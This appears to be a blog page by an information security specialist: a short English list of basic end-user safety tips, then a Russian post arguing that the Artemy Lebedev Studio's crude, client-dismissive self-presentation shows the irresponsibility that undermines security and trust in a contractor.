• Do not believe unknown sites. If site tries to persuade to install something that will do you good, consult with your IT/IT security. Do not install software from the Internet.
• Do not open e-mails you don’t expect or from somebody you don’t know. Do not open attachments or click links in such e-mails.
• Switch off unneeded functionality in client. For example, if you don’t need JavaScript, disable it in your browser.
• Do not start Internet clients (browser, e-mail client, IM client, etc.) with admin privileges
  
• Be paranoid, If you feel suspicion do not hesitate to contact your IT/IT-security.

Два слова о Студии Артемия Лебедева

Вообще, по долгу службы я не занимаюсь выбором подрядчиков для создания очередного сайта Компании на которую я работаю, мой удел - информационная безопасность. Поскольку корпоративный сайт - лицо компании, а лицо хочется доверять ответственному визажисту, не могу не поделиться своими мыслями относительно вот этого:

что в настоящее время можно лицезреть здесь.

Я привык считать, что безопасность - это не только следствие безупречного выполнения технического решения, а комплекс множества факторов, одним из которых является ответственность подрядчика. Кто-то умный сказал, что за деньги можно купить профессионализм, но нельзя купить ответственность, что я понимаю буквально - решение, выполненное безответственно не будет безопасным.

Но дело не только в безопасности, будучи ответственным за выбор подрядчика и абсолютно не разбираясь ни в чем, после подобного CV я все равно бы не выбрал Студию хотя бы по следующим умозаключениям:

1. Ловкое владение "народным" языком и попытки этим выразить свою индивидуальность/уникальность/единственность не должно доказывать или показывать преимущество, напротив, это свидетельствует о слабости (ну в крайнем случае должно настораживать). Многие подростки курят и ругаются матом для того, чтобы возвысить себя в чьем-либо лице, возможно это даже работает, но лично мне, такой подход к самоутверждению смешон (особенно сейчас, когда я уже давно не подросток). По этой же причине мне смешны субъекты, которые думают, что такие методы работают. Студия в данном вопросе подобна подросткам, которых я упоминал выше.

2. Этика, в частности, деловая, - это не только правила приличия, но еще и элемент уважения. Лично я бы не стал работать с подрядчиком, который не уважает меня, как заказчика, кто "в гробу видали все корпоративные ценности вместе взятые" и пр. На мой взгляд такой подход к организации сервиса является одной из причин "советского сервиса" (если кто-то не понял, о чем я говорю - рекомендую посмотреть мультфильм для детей 1988-ого года "Если был бы я моим папой", выпуск 1, где действия происходят в продуктовом магазине).

3. О профессионализме позвольте судить профессионалам. Вы верите рекламе? Когда производитель рассказывает на вид правдоподобные вещи о своем товаре, подчеркивая его уникальность и абсолютную необходимость именно вам. Подумайте о таком CV вашего подрядчика с этой стороны.